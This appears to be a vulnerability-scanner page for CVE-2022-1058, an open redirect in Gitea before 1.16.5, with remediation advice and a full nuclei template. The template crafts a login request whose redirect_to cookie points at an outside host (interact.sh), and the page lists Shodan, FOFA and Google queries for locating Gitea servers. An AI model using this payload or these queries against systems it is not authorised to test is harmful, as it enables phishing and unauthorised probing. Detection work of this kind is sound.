Gitea <1.16.5 - Open Redirect

mediumseverity

6.1CVSS score

53.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Gitea before 1.16.5 is susceptible to open redirect via GitHub repository go-gitea/gitea. An attacker can redirect a user to a malicious site and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.

Fix

Upgrade Gitea to version 1.16.5 or later to fix the open redirect vulnerability.

How to confirm it

Send: GET /user/login ; POST /user/login
Positive when: contains in header_2 "//interact.sh" AND status 302

Run it with nuclei: nuclei -id CVE-2022-1058 -u <target>

The full check

id: CVE-2022-1058

info:
  name: Gitea <1.16.5 - Open Redirect
  author: theamanrawat
  severity: medium
  description: |
    Gitea before 1.16.5 is susceptible to open redirect via GitHub repository go-gitea/gitea. An attacker can redirect a user to a malicious site and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
  remediation: |
    Upgrade Gitea to version 1.16.5 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/go-gitea/gitea/commit/e3d8e92bdc67562783de9a76b5b7842b68daeb48
    - https://huntr.dev/bounties/4fb42144-ac70-4f76-a5e1-ef6b5e55dc0d
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1058
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1058
    cwe-id: CWE-601
    epss-score: 0.53177
    epss-percentile: 0.98989
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gitea
    product: gitea
    shodan-query:
      - title:"Gitea"
      - http.html:"powered by gitea version"
      - http.title:"gitea"
      - cpe:"cpe:2.3:a:gitea:gitea"
    fofa-query:
      - body="powered by gitea version"
      - title="gitea"
    google-query: intitle:"gitea"
  tags: cve,cve2022,huntr,open-redirect,gitea,vuln

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: redirect_to=//interact.sh

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}

    matchers-condition: and
    matchers:
      - type: word
        part: header_2
        words:
          - "//interact.sh"

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="_csrf" value="(.*)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from